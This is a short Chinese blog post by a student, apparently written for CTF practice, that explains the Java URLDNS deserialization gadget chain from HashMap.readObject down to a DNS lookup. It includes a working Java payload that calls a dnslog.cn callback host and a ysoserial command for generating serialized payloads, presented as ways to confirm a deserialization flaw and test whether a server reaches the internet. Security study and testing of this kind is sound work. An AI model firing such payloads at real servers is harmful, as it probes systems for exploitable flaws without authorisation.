🎼个人主页:金灰
😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨
专注网络空间安全服务,期待与您的交流分享~
感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️
🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~
免责声明:本文仅做分享...
目录
官方库网址
URLDNS链
URLDNS链
一句话总结:
不需要其他依赖,原生java库,支持反序列化后,触发一次dns请求
HashMap (数据集合结构)
HashMap (数据集合结构)
--存放 键值对 的集合.
Map map
为了验证键有没有重复,会对 键 进行取 哈希值 操作.
hashCode 相同,就认为集合里面有这个键了,为了避免一个键对应多个值,所以会覆盖.
(key相同,hashcode就相同;后面再赋值就会覆盖key-value)
原理
URLDNS链:
利用两个类
HashMap 和 URL 类
HashMap存在 readObject方法,里面调用了 hash方法,处理自己的key
hash方法,调用了key的hashCode方法
当我们传入的KEY是URL对象的时候,就会调用URL对象的hashCode
URL类的hashCode方法,只要自己的hashCode不是-1 ,就会调用自己handler属性的hashCode方法
handler是URLStreamHandler类,它的hashCode方法
调用了getHostAddress方法
调用了URL类的getHostAddress方法
最终调用了 InetAddress.getByName(host); 实现了一次DNS请求.
利用点:
1 验证反序列化漏洞存在 ,适合poc用.
2 判断对方服务器是否出网.
//只能发送一次DNS请求!
payload.java
Map map = new HashMap<Object,Object>();
URL url = new URL("http://success.qpronc.dnslog.cn");
Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,1);
map.put(url,"ctfshow");
field.set(url,-1);
byte[] data = SerializeUtil.serialize(map);
SerializeUtil.unSerialize(data);
ysoserial-all.jar工具
支持多种payload生成
java -jar ysoxxx.jar URLDNS 'dns url' >1.ser
# 生成反序列化payload